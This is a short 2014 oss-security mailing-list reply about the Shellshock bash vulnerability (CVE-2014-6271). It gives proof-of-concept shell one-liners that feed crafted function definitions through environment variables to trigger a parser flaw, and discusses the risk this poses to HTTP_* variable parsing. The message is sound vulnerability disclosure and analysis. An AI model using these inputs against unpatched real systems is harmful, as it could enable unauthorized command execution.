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Message-ID: <CALx_OUCdcWGgJp_tXMXiann4Z4p_LO6BZ0+BNabPk4zhruhi4w@mail.gmail.com> Date: Wed, 24 Sep 2014 15:37:03 -0700 From: Michal Zalewski <lcamtuf@...edump.cx> To: oss-security@...ts.openwall.com Cc: Tavis Ormandy <taviso@...xchg8b.com> Subject: Re: CVE-2014-6271: remote code execution through bash > Tavis Ormandy just tweetet this: > https://twitter.com/taviso/status/514887394294652929 > $ env X='() { (a)=>\' sh -c "echo date"; cat echo This can be simplified as: $ X='() { function a a>\' bash -c echo $ ls echo echo And the core parsing problem is illustrated by this: $ function a a>\ [RETURN] > foo $ whatever $ ls whatever Tavis and I spent a fair amount of time trying to figure out if this poses a more immediate risk, but so far, no dice. It strongly suggests that the parser is fragile and that there may be unexpected side effects, though; parsing functions seen in HTTP_* and such seems like a very risky proposition. /mz
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